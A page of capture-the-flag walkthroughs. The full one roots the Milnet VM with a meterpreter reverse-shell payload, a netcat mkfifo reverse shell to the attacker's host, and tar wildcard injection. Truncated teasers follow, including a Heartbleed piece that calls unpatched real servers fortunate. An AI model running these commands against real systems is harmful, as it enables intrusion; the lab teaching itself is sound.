Hack the Milnet VM (CTF Challenge)

This is a boot2root challenge which we will try to complete. This VM is created by Warrior and is a basic exploitable VM so we do not need to worry about any advance exploits and reverse engineering.
As always start off by locating the target with the following command:
netdiscover
Our target is 192.168.0.105. Now we will scan our target with nmap to know all about its ports.
nmap  -A -p- 192.168.0.105

To know more about our target we will use nikto.
nikto -h 192.168.0.105

As you can see we did not acquire much information from nikto so let us open it on our browser, maybe we can find something from there.
Looking into the page source and all the tabs on the left side we could not find anything. So we explored and searched allot and we found remote file inclusion vulnerability. Upon finding the said vulnerability our step was clear i.e. we had use Tamper data.
So go to Tools on menu bar and select Tamper data
When the Tamper Data opens click on Start Tamper.

Then click on main button, a dialog box will open and from this dialog box click on Tamper.

Now generate the php code with the help of which we will have our meterpreter session and to generate the code type:
msfvenom php/meterpreter/reverse_tcp lhost=192.1680.103 lport=4444 -f raw
Copy the code from <?php to die() and save it on the file with extension .php. After the file is saved, transfer the file to var/www/html
Then on Tamper Data give the path of the file without the extension in the text box adjacent to route. For example type:
http://192.168.0.103/evil?

Before clicking on OK run metasploit and type:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.103
set lport 4444
exploit
And when you click on ok you will have your meterpreter session. You can type the following command to get the information of the system:
sysinfo
Then you type the set of following commands to reach the terminal:
shell
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
Now that we are in the terminal, we wil look for the version of kernel to know wheather its vulnerbale or not and ofr that type:
lsb_release -a
As you can see, kernel’s version is not exploitable. So we searched and looked for any other option which could help us gain root’s access. And so we looked in to the /passwd with the following command
cat /etc/passwd
This file will show the name of user langman and we switched our user to langman. So we checked the user on home by typing:
cd home
ls
And then we switched:
cd langman
Then check the list of thing present in langman by typing :
ls
There is only one folder available so let’s go into it.
cd SDINET
ls(to check the contents of SDINET)
Here, in SDINET you will find a text file which will show you all the steps to move ahead. It contains unix wildcard attacks.
https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

Some further digging revealed that crontab was running a backup script as root, which used tar to compress the contents of /var/www/html. One of the attacks mentioned in the text document covered tar. The commands we used are:
cat /etc/crontab
cat /backup/backup.sh
Now we will open an additional listener for our attack. And for that open the terminal of Kali on the side and type:
nc -lvp 443

This will help us to achieve arbitrary command execution stemming from the tar command within the backup.sh script.
Next we ran the following commands:
echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.0.103 443 >/tmp/f” > shell.sh
touch “/var/www/html/–checkpoint-action=exec=sh shell.sh”
touch “/var/www/html/–checkpoint=1”
The above commands help the tar command to run the file, shell.sh after the first file is archived. Since the backup.sh script is running as root, this has the effect of spawning a netcat shell and sending it to the attack platform on port 443.
And if you go back to the terminal window where the listener was on.
And BAM!! The Flag is captured!!

Hack the Gibson VM (CTF Challenge)

It’s a boot2root challenge and it does not get over with getting root access. You have to find flag also. So let’s start. First of all download lab from https://download.vulnhub.com/gibson/gibson.ova Now open kali terminal and like always start with first step i.e. netdiscover netdiscover it shows all the hosts those are up in our network and from here we get our target ip. Target IP: 192.168.1.6 As our target is all set we are going to scan it with nmap which will show all the open ports. In this case open ports are only two i.e. 22 and 80. nmap –p- -A 192.168.1.6 As from the above result we have got 80 port open so we will open target ip in browser. It shows an accessible directory. Let’s try opening it as we cannot see anything important here. Oh no such luck with this also. It’s written the result will be found by brute force but there is no place where we can apply brute force. As we do not have any other option so let’s just go to view page source to see if we could get a...

Penetration Testing in PwnLab (CTF Challenge)

In this article we will walkthrough a root2boot penetration testing challenge i.e PwnLab. PwbLab is a vulnerbale framework, based on the concept of CTF (capture the flag), with a bit of security which is a little complicated to bypass. But it’s not impossible. So, let us learn how we can get its access. Download From Here Now to start let us, firstly, consider that we do not know the IP of the PwnLab, therefore search for the IP address before hand and for that there is a command that shows us all the IP’s present in our network, so go to the terminal of you Kali and type : netdiscover Target IP = 192.168.0.105 And to know that we start our penetration testing. So, first, we will now scan with nmap , we will apply an aggressive scan as it gives detailed information and is fast. The command is : nmap -A 192.168.0.105 We have the result of scanning and as you can see there are only three ports open and they are: 80, 111, 3306. Our target IP is 192.168.0.105 as its MAC Vendor is...

Hacking the Heartbleed Vulnerability

Welcome back, my greenhorn hackers! In recent weeks, the Heartbleed vulnerability of OpenSSL has been dominating the information security headlines. This vulnerability enables an attacker to extract data from the server's memory that may contain authentication credentials, cookies, the servers private key, and personally identifiable info (PII) that could be used for identity theft. As a result, websites around the world have been scrambling to close this hole. Fortunately for us, many still have not, and many may never be closed. Basically, OpenSSL is an encryption library used in HTTPS (secure HTTP). The idea is that any data traveling over this secured version of HTTP should be secure and encrypted. During communication, OpenSSL uses a "heartbeat" that echoes back data to verify that the data was received correctly. It's kind of like one machine telling the other, "Yes, I got that data and you can send more now." The Heartbleed vulnerabi...
